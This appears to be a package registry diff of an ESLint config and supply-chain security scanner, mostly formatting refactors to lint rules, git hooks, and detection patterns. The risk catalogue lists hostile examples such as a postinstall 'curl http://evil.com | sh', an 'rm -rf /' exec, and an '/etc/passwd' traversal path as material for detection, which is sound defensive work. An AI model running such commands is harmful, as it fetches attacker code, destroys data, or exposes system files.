@archpublicwebsite/eslint-config 1.0.21 → 1.0.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +10 -0
- package/eslint.config.mjs +29 -24
- package/lint-staged.config.mjs +2 -7
- package/package.json +1 -1
- package/tools/git-hooks/pre-commit.mjs +8 -4
- package/tools/git-hooks/pre-push.mjs +60 -40
- package/tools/security/patterns.mjs +79 -27
- package/tools/security/risks.mjs +34 -34
- package/tools/security/scan.mjs +23 -21
- package/tools/security/scanner.mjs +18 -17
- package/tools/security/test-patterns.mjs +13 -16
- package/tools/setup/install.mjs +43 -49
- package/tools/setup/vscode.mjs +44 -21
package/README.md
CHANGED
|
@@ -120,6 +120,16 @@ If you are extending or regenerating this package, keep the workflow explicit:
|
|
|
120
120
|
- Re-run the package setup flow when changing VS Code or hook behavior.
|
|
121
121
|
- Prefer explicit examples that show what the consumer project should add.
|
|
122
122
|
|
|
123
|
+
## Refactor/New File Rules
|
|
124
|
+
|
|
125
|
+
When refactoring or creating component files, keep every package aligned to the shared eslint-config contract:
|
|
126
|
+
|
|
127
|
+
1. Keep each package `eslint.config.mjs` on `createArchipelagoConfig(...)` from `@archpublicwebsite/eslint-config`.
|
|
128
|
+
2. Do not add package-local parser stacks that diverge from the shared config unless there is an approved exception.
|
|
129
|
+
3. Run `pnpm lint:check` and `pnpm typecheck` before commit.
|
|
130
|
+
4. If a package needs custom lint behavior, add it as a small override block in that package config while preserving shared base rules.
|
|
131
|
+
5. For new projects or clones, run the setup script so required files (`eslint.config.mjs`, `lint-staged.config.mjs`, hooks, VSCode settings) are auto-created when missing.
|
|
132
|
+
|
|
123
133
|
## Manual setup
|
|
124
134
|
|
|
125
135
|
If you need to rerun the bootstrap manually:
|
package/eslint.config.mjs
CHANGED
|
@@ -87,10 +87,8 @@ export function createArchipelagoConfig(...overrides) {
|
|
|
87
87
|
},
|
|
88
88
|
// document.write / document.writeln
|
|
89
89
|
{
|
|
90
|
-
selector:
|
|
91
|
-
|
|
92
|
-
message:
|
|
93
|
-
'[security/xss] document.write() is deprecated and a direct XSS sink — remove it',
|
|
90
|
+
selector: 'CallExpression[callee.object.name="document"][callee.property.name=/^write(ln)?$/]',
|
|
91
|
+
message: '[security/xss] document.write() is deprecated and a direct XSS sink — remove it',
|
|
94
92
|
},
|
|
95
93
|
// Object.__proto__ assignment (belt-and-suspenders with no-prototype-builtins)
|
|
96
94
|
{
|
|
@@ -168,16 +166,19 @@ export function createArchipelagoConfig(...overrides) {
|
|
|
168
166
|
rules: {
|
|
169
167
|
'no-restricted-imports': [
|
|
170
168
|
'error',
|
|
171
|
-
{ name: 'child_process',
|
|
172
|
-
{
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
{ name: '
|
|
177
|
-
{ name: '
|
|
178
|
-
{ name: '
|
|
179
|
-
{ name: '
|
|
180
|
-
{ name: '
|
|
169
|
+
{ name: 'child_process', message: 'child_process is not allowed in build config files — supply-chain risk' },
|
|
170
|
+
{
|
|
171
|
+
name: 'node:child_process',
|
|
172
|
+
message: 'child_process is not allowed in build config files — supply-chain risk',
|
|
173
|
+
},
|
|
174
|
+
{ name: 'http', message: 'http is not allowed in build config files — exfiltration risk' },
|
|
175
|
+
{ name: 'node:http', message: 'http is not allowed in build config files — exfiltration risk' },
|
|
176
|
+
{ name: 'https', message: 'https is not allowed in build config files — exfiltration risk' },
|
|
177
|
+
{ name: 'node:https', message: 'https is not allowed in build config files — exfiltration risk' },
|
|
178
|
+
{ name: 'dns', message: 'dns is not allowed in build config files — DNS tunnelling risk' },
|
|
179
|
+
{ name: 'node:dns', message: 'dns is not allowed in build config files — DNS tunnelling risk' },
|
|
180
|
+
{ name: 'net', message: 'net is not allowed in build config files — reverse-shell risk' },
|
|
181
|
+
{ name: 'node:net', message: 'net is not allowed in build config files — reverse-shell risk' },
|
|
181
182
|
],
|
|
182
183
|
},
|
|
183
184
|
},
|
|
@@ -202,11 +203,12 @@ export function createArchipelagoConfig(...overrides) {
|
|
|
202
203
|
'antfu/if-newline': 'off',
|
|
203
204
|
'antfu/no-import-dist': 'off',
|
|
204
205
|
|
|
205
|
-
// ──
|
|
206
|
-
//
|
|
207
|
-
//
|
|
208
|
-
'style/semi': '
|
|
209
|
-
|
|
206
|
+
// ── Canonical style enforcement ─────────────────────────────────────
|
|
207
|
+
// No semicolons — matches every component in the codebase.
|
|
208
|
+
// Adding a `;` in any .ts / .vue file will surface as a lint error.
|
|
209
|
+
'style/semi': ['error', 'never'],
|
|
210
|
+
// Single quotes — consistent with all current component files.
|
|
211
|
+
'style/quotes': ['error', 'single', { avoidEscape: true, allowTemplateLiterals: 'never' }],
|
|
210
212
|
'style/quote-props': 'off',
|
|
211
213
|
'style/no-multi-spaces': 'off',
|
|
212
214
|
'style/key-spacing': 'off',
|
|
@@ -239,10 +241,13 @@ export function createArchipelagoConfig(...overrides) {
|
|
|
239
241
|
'vue/attribute-hyphenation': 'off',
|
|
240
242
|
'vue/define-macros-order': 'off',
|
|
241
243
|
'vue/no-v-html': 'off',
|
|
242
|
-
'vue/max-attributes-per-line': [
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
244
|
+
'vue/max-attributes-per-line': [
|
|
245
|
+
'error',
|
|
246
|
+
{
|
|
247
|
+
singleline: 3,
|
|
248
|
+
multiline: 1,
|
|
249
|
+
},
|
|
250
|
+
],
|
|
246
251
|
'vue/max-len': 'off',
|
|
247
252
|
|
|
248
253
|
// ── TypeScript ───────────────────────────────────────────────────────
|
|
@@ -308,6 +313,6 @@ export function createArchipelagoConfig(...overrides) {
|
|
|
308
313
|
},
|
|
309
314
|
},
|
|
310
315
|
|
|
311
|
-
...overrides
|
|
316
|
+
...overrides
|
|
312
317
|
)
|
|
313
318
|
}
|
package/lint-staged.config.mjs
CHANGED
|
@@ -1,11 +1,6 @@
|
|
|
1
1
|
const config = {
|
|
2
|
-
'*.{js,mjs,cjs,ts,tsx,vue}': [
|
|
3
|
-
|
|
4
|
-
'prettier --write',
|
|
5
|
-
],
|
|
6
|
-
'*.{json,md,yml,yaml,css,scss,html}': [
|
|
7
|
-
'prettier --write',
|
|
8
|
-
],
|
|
2
|
+
'*.{js,mjs,cjs,ts,tsx,vue}': ['eslint --fix', 'prettier --write'],
|
|
3
|
+
'*.{json,md,yml,yaml,css,scss,html}': ['prettier --write'],
|
|
9
4
|
}
|
|
10
5
|
|
|
11
6
|
export default config
|
package/package.json
CHANGED
|
@@ -4,7 +4,7 @@ import { existsSync } from 'node:fs'
|
|
|
4
4
|
import { hasCommand, run } from './shared.mjs'
|
|
5
5
|
|
|
6
6
|
const __dirname = dirname(fileURLToPath(import.meta.url))
|
|
7
|
-
const SCAN_SCRIPT = join(__dirname, '
|
|
7
|
+
const SCAN_SCRIPT = join(__dirname, '..', 'security', 'scan.mjs')
|
|
8
8
|
|
|
9
9
|
function runIfExists(scriptPath, command) {
|
|
10
10
|
if (!existsSync(scriptPath)) {
|
|
@@ -28,13 +28,17 @@ run(`node "${SCAN_SCRIPT}"`, { stdio: 'inherit' })
|
|
|
28
28
|
runIfExists('./safe-reinstall.sh', 'bash ./safe-reinstall.sh --check-only')
|
|
29
29
|
if (process.env.SKIP_GLOBAL_SCAN === '1') {
|
|
30
30
|
console.log('\nSkipping global IOC scan (SKIP_GLOBAL_SCAN=1).')
|
|
31
|
-
}
|
|
32
|
-
else {
|
|
31
|
+
} else {
|
|
33
32
|
runIfExists('./scan-global.sh', 'bash ./scan-global.sh')
|
|
34
33
|
}
|
|
35
34
|
|
|
36
35
|
// ── 3. Lint-staged — auto-fix & format staged files ───────────────────────────
|
|
37
36
|
console.log('\nRunning lint-staged (auto-fix staged files)...')
|
|
38
|
-
|
|
37
|
+
if (existsSync('./lint-staged.config.mjs')) {
|
|
38
|
+
run('pnpm exec lint-staged --config lint-staged.config.mjs', { stdio: 'inherit' })
|
|
39
|
+
} else {
|
|
40
|
+
// Fallback to package.json "lint-staged" block when config file is missing.
|
|
41
|
+
run('pnpm exec lint-staged', { stdio: 'inherit' })
|
|
42
|
+
}
|
|
39
43
|
|
|
40
44
|
console.log('\nCOMMIT CHECKS PASSED\n')
|
|
@@ -54,13 +54,21 @@ const ZERO_SHA = '0000000000000000000000000000000000000000'
|
|
|
54
54
|
*/
|
|
55
55
|
function parsePushRefs() {
|
|
56
56
|
let stdin = ''
|
|
57
|
-
try {
|
|
58
|
-
|
|
57
|
+
try {
|
|
58
|
+
stdin = readFileSync('/dev/stdin', 'utf8')
|
|
59
|
+
} catch {
|
|
60
|
+
return []
|
|
61
|
+
}
|
|
59
62
|
|
|
60
|
-
return stdin
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
63
|
+
return stdin
|
|
64
|
+
.trim()
|
|
65
|
+
.split('\n')
|
|
66
|
+
.filter(Boolean)
|
|
67
|
+
.map(line => {
|
|
68
|
+
const parts = line.trim().split(/\s+/)
|
|
69
|
+
return { localSha: parts[1] ?? '', remoteSha: parts[3] ?? ZERO_SHA }
|
|
70
|
+
})
|
|
71
|
+
.filter(({ localSha }) => localSha && localSha !== ZERO_SHA)
|
|
64
72
|
}
|
|
65
73
|
|
|
66
74
|
// ─── Collect files in push range ───────────────────────────────────────────────
|
|
@@ -98,10 +106,14 @@ function scanFiles(files, repoRoot) {
|
|
|
98
106
|
let skipped = 0
|
|
99
107
|
|
|
100
108
|
for (const filePath of files) {
|
|
101
|
-
if (shouldSkip(filePath)) {
|
|
109
|
+
if (shouldSkip(filePath)) {
|
|
110
|
+
skipped++
|
|
111
|
+
continue
|
|
112
|
+
}
|
|
102
113
|
|
|
103
|
-
const content =
|
|
104
|
-
|
|
114
|
+
const content =
|
|
115
|
+
runSafe(`git show "HEAD:${filePath}"`) ||
|
|
116
|
+
(() => {
|
|
105
117
|
const abs = join(repoRoot, filePath)
|
|
106
118
|
return existsSync(abs) ? readFileSync(abs, 'utf8') : ''
|
|
107
119
|
})()
|
|
@@ -111,7 +123,7 @@ function scanFiles(files, repoRoot) {
|
|
|
111
123
|
const lines = content.split('\n')
|
|
112
124
|
findings.push(
|
|
113
125
|
...collectPatternFindings(lines, isConfigFile(filePath), filePath),
|
|
114
|
-
...collectObfuscatedLineFindings(lines, filePath)
|
|
126
|
+
...collectObfuscatedLineFindings(lines, filePath)
|
|
115
127
|
)
|
|
116
128
|
}
|
|
117
129
|
|
|
@@ -133,24 +145,29 @@ function scanDependencies(repoRoot) {
|
|
|
133
145
|
if (!existsSync(pkgJsonPath)) return []
|
|
134
146
|
|
|
135
147
|
let pkg
|
|
136
|
-
try {
|
|
137
|
-
|
|
148
|
+
try {
|
|
149
|
+
pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
|
|
150
|
+
} catch {
|
|
151
|
+
return []
|
|
152
|
+
}
|
|
138
153
|
|
|
139
154
|
const depFields = ['dependencies', 'devDependencies', 'peerDependencies', 'optionalDependencies']
|
|
140
|
-
return depFields.flatMap(
|
|
155
|
+
return depFields.flatMap(field => {
|
|
141
156
|
const deps = pkg[field]
|
|
142
157
|
if (!deps || typeof deps !== 'object') return []
|
|
143
|
-
return Object.keys(deps).flatMap(
|
|
158
|
+
return Object.keys(deps).flatMap(name => {
|
|
144
159
|
const similar = detectTyposquat(name)
|
|
145
160
|
return similar
|
|
146
|
-
? [
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
161
|
+
? [
|
|
162
|
+
{
|
|
163
|
+
pkg: name,
|
|
164
|
+
patternId: 'typosquat',
|
|
165
|
+
severity: 'high',
|
|
166
|
+
message: `Possible typosquat of "${similar}" in ${field} — verify the package name`,
|
|
167
|
+
lineContent: `"${name}" is 1 edit away from "${similar}"`,
|
|
168
|
+
category: 'supply-chain',
|
|
169
|
+
},
|
|
170
|
+
]
|
|
154
171
|
: []
|
|
155
172
|
})
|
|
156
173
|
})
|
|
@@ -166,7 +183,7 @@ function runAudit() {
|
|
|
166
183
|
return []
|
|
167
184
|
}
|
|
168
185
|
|
|
169
|
-
process.stdout.write(
|
|
186
|
+
process.stdout.write('\nRunning pnpm audit --audit-level=high...\n')
|
|
170
187
|
const result = runSafe('pnpm audit --audit-level=high 2>&1')
|
|
171
188
|
if (!result) return []
|
|
172
189
|
|
|
@@ -176,14 +193,16 @@ function runAudit() {
|
|
|
176
193
|
if (hasVulns) {
|
|
177
194
|
console.log(`\n${BOLD}pnpm audit output:${R}`)
|
|
178
195
|
console.log(`${DIM}${result}${R}`)
|
|
179
|
-
return [
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
196
|
+
return [
|
|
197
|
+
{
|
|
198
|
+
pkg: 'pnpm-audit',
|
|
199
|
+
patternId: 'known-cve',
|
|
200
|
+
severity: 'high',
|
|
201
|
+
message: "pnpm audit detected known CVEs — run 'pnpm audit --fix' or pin safe versions",
|
|
202
|
+
lineContent: lines.find(l => /vulnerabilit/i.test(l)) ?? result.slice(0, 120),
|
|
203
|
+
category: 'supply-chain',
|
|
204
|
+
},
|
|
205
|
+
]
|
|
187
206
|
}
|
|
188
207
|
|
|
189
208
|
process.stdout.write(`${GRN}pnpm audit: no known vulnerabilities found.${R}\n`)
|
|
@@ -195,8 +214,8 @@ function runAudit() {
|
|
|
195
214
|
function main() {
|
|
196
215
|
if (process.env.SKIP_SECURITY_SCAN === '1') {
|
|
197
216
|
process.stderr.write(
|
|
198
|
-
`\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — pre-push security checks bypassed.${R}\n`
|
|
199
|
-
|
|
217
|
+
`\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — pre-push security checks bypassed.${R}\n` +
|
|
218
|
+
`${YLW} This bypass is intentional and has been logged.${R}\n\n`
|
|
200
219
|
)
|
|
201
220
|
return
|
|
202
221
|
}
|
|
@@ -206,14 +225,15 @@ function main() {
|
|
|
206
225
|
|
|
207
226
|
printScanHeader('@archipelago/pre-push', 'full-branch security gate')
|
|
208
227
|
|
|
209
|
-
const files =
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
228
|
+
const files =
|
|
229
|
+
refs.length > 0
|
|
230
|
+
? collectPushFiles(refs)
|
|
231
|
+
: (runSafe('git diff-tree --no-commit-id --name-only -r HEAD') || '')
|
|
232
|
+
.split('\n')
|
|
233
|
+
.filter(f => SCAN_EXTENSIONS.has(extname(f)))
|
|
214
234
|
|
|
215
|
-
const fileFindings
|
|
216
|
-
const depsFindings
|
|
235
|
+
const fileFindings = scanFiles(files, repoRoot)
|
|
236
|
+
const depsFindings = scanDependencies(repoRoot)
|
|
217
237
|
const auditFindings = runAudit()
|
|
218
238
|
|
|
219
239
|
const allFindings = sortFindings([...fileFindings, ...depsFindings, ...auditFindings])
|
|
@@ -147,7 +147,8 @@ export const FILE_PATTERNS = [
|
|
|
147
147
|
{
|
|
148
148
|
id: 'shuffle-cipher-iife',
|
|
149
149
|
severity: 'critical',
|
|
150
|
-
message:
|
|
150
|
+
message:
|
|
151
|
+
'Shuffle-cipher IIFE — RC4-variant string decoder used to hide payload strings (seen in event-stream attack)',
|
|
151
152
|
// Matches: (function(l,e){ ... })("...", number) — the typical 2-arg encoded-string bootstrapper
|
|
152
153
|
// [\s\S] instead of [^}] so the body can contain nested {}
|
|
153
154
|
regex: /\(function\s*\(\w\s*,\s*\w\)[\s\S]{20,}?\}\)\s*\(\s*["'][^"']{4,}["']\s*,\s*\d{4,}\s*\)/,
|
|
@@ -178,7 +179,8 @@ export const FILE_PATTERNS = [
|
|
|
178
179
|
{
|
|
179
180
|
id: 'function-constructor-via-array',
|
|
180
181
|
severity: 'critical',
|
|
181
|
-
message:
|
|
182
|
+
message:
|
|
183
|
+
'Function constructor accessed via decoded array — used to run hidden payload without calling new Function() directly',
|
|
182
184
|
// Matches: var x = sfL[EKc] where the array was built from a string decoder
|
|
183
185
|
// Generalised: identifier assigned from identifier[short-identifier] then called as a function
|
|
184
186
|
regex: /=\s*\w{2,5}\s*\[\s*\w{2,5}\s*\]\s*;[^;]{0,60}=\s*\w{2,5}\s*\(\s*\w+\s*,\s*\w{2,5}\s*\(\s*\w+\s*\)\s*\)/,
|
|
@@ -234,7 +236,8 @@ export const FILE_PATTERNS = [
|
|
|
234
236
|
{
|
|
235
237
|
id: 'vue-v-html',
|
|
236
238
|
severity: 'medium',
|
|
237
|
-
message:
|
|
239
|
+
message:
|
|
240
|
+
'v-html directive detected — ensure content is sanitised (e.g. DOMPurify) and never bind unsanitised user input',
|
|
238
241
|
// Matches both :v-html and v-html= in .vue template strings captured in JS
|
|
239
242
|
regex: /v-html\s*=/,
|
|
240
243
|
category: 'xss',
|
|
@@ -306,8 +309,11 @@ export const FILE_PATTERNS = [
|
|
|
306
309
|
},
|
|
307
310
|
{
|
|
308
311
|
id: 'path-traversal-dotdot',
|
|
309
|
-
|
|
310
|
-
|
|
312
|
+
// Downgraded to medium: internal tooling uses join(__dirname, '..', 'security', ...)
|
|
313
|
+
// which is safe fixed-path navigation, not user-supplied input. Only upgrade back
|
|
314
|
+
// to 'critical' if you start accepting external path segments at runtime.
|
|
315
|
+
severity: 'medium',
|
|
316
|
+
message: 'Literal path traversal sequence (../) in source — verify this is not user-supplied input',
|
|
311
317
|
regex: /['"]\.\.[/\\]/,
|
|
312
318
|
category: 'path-traversal',
|
|
313
319
|
},
|
|
@@ -452,15 +458,7 @@ export const CONFIG_FILE_PATTERNS = [
|
|
|
452
458
|
// ─── Extension allow-list ──────────────────────────────────────────────────────
|
|
453
459
|
|
|
454
460
|
/** Source file extensions to include in the scan. */
|
|
455
|
-
export const SCAN_EXTENSIONS = new Set([
|
|
456
|
-
'.js',
|
|
457
|
-
'.mjs',
|
|
458
|
-
'.cjs',
|
|
459
|
-
'.ts',
|
|
460
|
-
'.mts',
|
|
461
|
-
'.cts',
|
|
462
|
-
'.vue',
|
|
463
|
-
])
|
|
461
|
+
export const SCAN_EXTENSIONS = new Set(['.js', '.mjs', '.cjs', '.ts', '.mts', '.cts', '.vue'])
|
|
464
462
|
|
|
465
463
|
// ─── Typosquatting reference list ──────────────────────────────────────────────
|
|
466
464
|
|
|
@@ -470,29 +468,83 @@ export const SCAN_EXTENSIONS = new Set([
|
|
|
470
468
|
*/
|
|
471
469
|
export const POPULAR_PACKAGES = [
|
|
472
470
|
// Frameworks & meta-frameworks
|
|
473
|
-
'react',
|
|
471
|
+
'react',
|
|
472
|
+
'vue',
|
|
473
|
+
'svelte',
|
|
474
|
+
'angular',
|
|
475
|
+
'next',
|
|
476
|
+
'nuxt',
|
|
477
|
+
'remix',
|
|
478
|
+
'astro',
|
|
474
479
|
// Build tools
|
|
475
|
-
'vite',
|
|
480
|
+
'vite',
|
|
481
|
+
'webpack',
|
|
482
|
+
'rollup',
|
|
483
|
+
'parcel',
|
|
484
|
+
'esbuild',
|
|
485
|
+
'turbopack',
|
|
476
486
|
// Styling
|
|
477
|
-
'tailwindcss',
|
|
487
|
+
'tailwindcss',
|
|
488
|
+
'postcss',
|
|
489
|
+
'autoprefixer',
|
|
490
|
+
'sass',
|
|
491
|
+
'less',
|
|
478
492
|
// Utility libraries
|
|
479
|
-
'lodash',
|
|
493
|
+
'lodash',
|
|
494
|
+
'axios',
|
|
495
|
+
'dayjs',
|
|
496
|
+
'moment',
|
|
497
|
+
'date-fns',
|
|
498
|
+
'zod',
|
|
499
|
+
'yup',
|
|
480
500
|
// State management
|
|
481
|
-
'pinia',
|
|
501
|
+
'pinia',
|
|
502
|
+
'vuex',
|
|
503
|
+
'redux',
|
|
504
|
+
'mobx',
|
|
505
|
+
'zustand',
|
|
506
|
+
'jotai',
|
|
482
507
|
// Routing
|
|
483
|
-
'react-router',
|
|
508
|
+
'react-router',
|
|
509
|
+
'vue-router',
|
|
484
510
|
// Testing
|
|
485
|
-
'vitest',
|
|
511
|
+
'vitest',
|
|
512
|
+
'jest',
|
|
513
|
+
'mocha',
|
|
514
|
+
'chai',
|
|
515
|
+
'playwright',
|
|
516
|
+
'cypress',
|
|
486
517
|
// TypeScript
|
|
487
|
-
'typescript',
|
|
518
|
+
'typescript',
|
|
519
|
+
'ts-node',
|
|
520
|
+
'tsx',
|
|
488
521
|
// Linting
|
|
489
|
-
'eslint',
|
|
522
|
+
'eslint',
|
|
523
|
+
'prettier',
|
|
524
|
+
'stylelint',
|
|
490
525
|
// Security / auth
|
|
491
|
-
'bcrypt',
|
|
526
|
+
'bcrypt',
|
|
527
|
+
'jsonwebtoken',
|
|
528
|
+
'passport',
|
|
529
|
+
'helmet',
|
|
530
|
+
'cors',
|
|
492
531
|
// Database
|
|
493
|
-
'prisma',
|
|
532
|
+
'prisma',
|
|
533
|
+
'sequelize',
|
|
534
|
+
'mongoose',
|
|
535
|
+
'typeorm',
|
|
536
|
+
'knex',
|
|
537
|
+
'drizzle-orm',
|
|
494
538
|
// Node utilities
|
|
495
|
-
'express',
|
|
539
|
+
'express',
|
|
540
|
+
'fastify',
|
|
541
|
+
'koa',
|
|
542
|
+
'hapi',
|
|
543
|
+
'socket.io',
|
|
544
|
+
'ws',
|
|
545
|
+
'nodemailer',
|
|
496
546
|
// Package tooling
|
|
497
|
-
'pnpm',
|
|
547
|
+
'pnpm',
|
|
548
|
+
'yarn',
|
|
549
|
+
'npm',
|
|
498
550
|
]
|
package/tools/security/risks.mjs
CHANGED
|
@@ -25,10 +25,10 @@
|
|
|
25
25
|
*/
|
|
26
26
|
export const SEVERITY_SCORE = {
|
|
27
27
|
critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
|
|
28
|
-
high:
|
|
29
|
-
medium:
|
|
30
|
-
low:
|
|
31
|
-
info:
|
|
28
|
+
high: 3, // CVSS 7.0 – 8.9 → block commit AND push
|
|
29
|
+
medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
|
|
30
|
+
low: 1, // CVSS 0.1 – 3.9 → info only
|
|
31
|
+
info: 0, // Informational → no action required
|
|
32
32
|
}
|
|
33
33
|
|
|
34
34
|
/**
|
|
@@ -63,8 +63,8 @@ export const RISK_CATEGORIES = [
|
|
|
63
63
|
owasp: 'A03:2021 – Injection',
|
|
64
64
|
atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
|
|
65
65
|
description:
|
|
66
|
-
'Code that allows an attacker to execute arbitrary instructions on the host machine. '
|
|
67
|
-
|
|
66
|
+
'Code that allows an attacker to execute arbitrary instructions on the host machine. ' +
|
|
67
|
+
'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
|
|
68
68
|
severity: 'critical',
|
|
69
69
|
examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
|
|
70
70
|
},
|
|
@@ -76,9 +76,9 @@ export const RISK_CATEGORIES = [
|
|
|
76
76
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
77
77
|
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
78
78
|
description:
|
|
79
|
-
'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
|
|
80
|
-
|
|
81
|
-
|
|
79
|
+
'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads ' +
|
|
80
|
+
'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, ' +
|
|
81
|
+
'ua-parser-js, polyfill.io).',
|
|
82
82
|
severity: 'high',
|
|
83
83
|
examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
|
|
84
84
|
},
|
|
@@ -90,11 +90,11 @@ export const RISK_CATEGORIES = [
|
|
|
90
90
|
owasp: 'A03:2021 – Injection',
|
|
91
91
|
atlas: [],
|
|
92
92
|
description:
|
|
93
|
-
'Modification of Object.prototype or constructor.prototype allows an attacker to '
|
|
94
|
-
|
|
95
|
-
|
|
93
|
+
'Modification of Object.prototype or constructor.prototype allows an attacker to ' +
|
|
94
|
+
'inject properties onto every object in the runtime, which can escalate to RCE ' +
|
|
95
|
+
'in some server-side Node.js frameworks.',
|
|
96
96
|
severity: 'high',
|
|
97
|
-
examples: [
|
|
97
|
+
examples: ['obj.__proto__ = {admin: true}', "Object.prototype['x'] = fn"],
|
|
98
98
|
},
|
|
99
99
|
|
|
100
100
|
// ── A4: XSS / DOM injection ────────────────────────────────────────────────
|
|
@@ -104,9 +104,9 @@ export const RISK_CATEGORIES = [
|
|
|
104
104
|
owasp: 'A03:2021 – Injection',
|
|
105
105
|
atlas: [],
|
|
106
106
|
description:
|
|
107
|
-
'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
|
|
108
|
-
|
|
109
|
-
|
|
107
|
+
'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), ' +
|
|
108
|
+
'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the ' +
|
|
109
|
+
"victim's browser context.",
|
|
110
110
|
severity: 'high',
|
|
111
111
|
examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
|
|
112
112
|
},
|
|
@@ -118,9 +118,9 @@ export const RISK_CATEGORIES = [
|
|
|
118
118
|
owasp: 'A02:2021 – Cryptographic Failures',
|
|
119
119
|
atlas: [],
|
|
120
120
|
description:
|
|
121
|
-
'API keys, tokens, passwords, or private keys committed to source code. '
|
|
122
|
-
|
|
123
|
-
|
|
121
|
+
'API keys, tokens, passwords, or private keys committed to source code. ' +
|
|
122
|
+
'Exposed secrets are frequently scraped from public repositories by automated bots ' +
|
|
123
|
+
'within minutes of exposure.',
|
|
124
124
|
severity: 'critical',
|
|
125
125
|
examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
|
|
126
126
|
},
|
|
@@ -132,9 +132,9 @@ export const RISK_CATEGORIES = [
|
|
|
132
132
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
133
133
|
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
134
134
|
description:
|
|
135
|
-
'Malicious code injected via npm package install scripts (preinstall/postinstall), '
|
|
136
|
-
|
|
137
|
-
|
|
135
|
+
'Malicious code injected via npm package install scripts (preinstall/postinstall), ' +
|
|
136
|
+
'typosquatted package names, or compromised transitive dependencies. ' +
|
|
137
|
+
'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
|
|
138
138
|
severity: 'critical',
|
|
139
139
|
examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
|
|
140
140
|
},
|
|
@@ -146,9 +146,9 @@ export const RISK_CATEGORIES = [
|
|
|
146
146
|
owasp: 'A01:2021 – Broken Access Control',
|
|
147
147
|
atlas: [],
|
|
148
148
|
description:
|
|
149
|
-
'User-controlled input used in file-system operations without sanitisation. '
|
|
150
|
-
|
|
151
|
-
|
|
149
|
+
'User-controlled input used in file-system operations without sanitisation. ' +
|
|
150
|
+
'Allows attackers to read, write, or delete files outside the intended directory ' +
|
|
151
|
+
"(e.g., reading /etc/passwd via '../../etc/passwd').",
|
|
152
152
|
severity: 'high',
|
|
153
153
|
examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
|
|
154
154
|
},
|
|
@@ -160,9 +160,9 @@ export const RISK_CATEGORIES = [
|
|
|
160
160
|
owasp: 'A10:2021 – Server-Side Request Forgery',
|
|
161
161
|
atlas: [],
|
|
162
162
|
description:
|
|
163
|
-
'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
|
|
164
|
-
|
|
165
|
-
|
|
163
|
+
'Outbound HTTP requests made with a URL derived from user input, allowing attackers ' +
|
|
164
|
+
'to probe internal services, cloud metadata APIs (169.254.169.254), or other ' +
|
|
165
|
+
'resources not directly accessible from the internet.',
|
|
166
166
|
severity: 'high',
|
|
167
167
|
examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
|
|
168
168
|
},
|
|
@@ -174,9 +174,9 @@ export const RISK_CATEGORIES = [
|
|
|
174
174
|
owasp: 'A06:2021 – Vulnerable and Outdated Components',
|
|
175
175
|
atlas: [],
|
|
176
176
|
description:
|
|
177
|
-
'Pathological regular expressions with nested quantifiers on overlapping character '
|
|
178
|
-
|
|
179
|
-
|
|
177
|
+
'Pathological regular expressions with nested quantifiers on overlapping character ' +
|
|
178
|
+
'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. ' +
|
|
179
|
+
'User-controlled input matched against such patterns is a DoS vector.',
|
|
180
180
|
severity: 'medium',
|
|
181
181
|
examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
|
|
182
182
|
},
|
|
@@ -188,9 +188,9 @@ export const RISK_CATEGORIES = [
|
|
|
188
188
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
189
189
|
atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
|
|
190
190
|
description:
|
|
191
|
-
'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
|
|
192
|
-
|
|
193
|
-
|
|
191
|
+
'Network modules (http, https, dns, net) or child_process imported inside Tailwind, ' +
|
|
192
|
+
'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated ' +
|
|
193
|
+
'privileges and full file-system access — making them a prime exfiltration vector.',
|
|
194
194
|
severity: 'critical',
|
|
195
195
|
examples: ["import https from 'node:https' // in tailwind.config.ts"],
|
|
196
196
|
},
|
package/tools/security/scan.mjs
CHANGED
|
@@ -44,11 +44,7 @@ import {
|
|
|
44
44
|
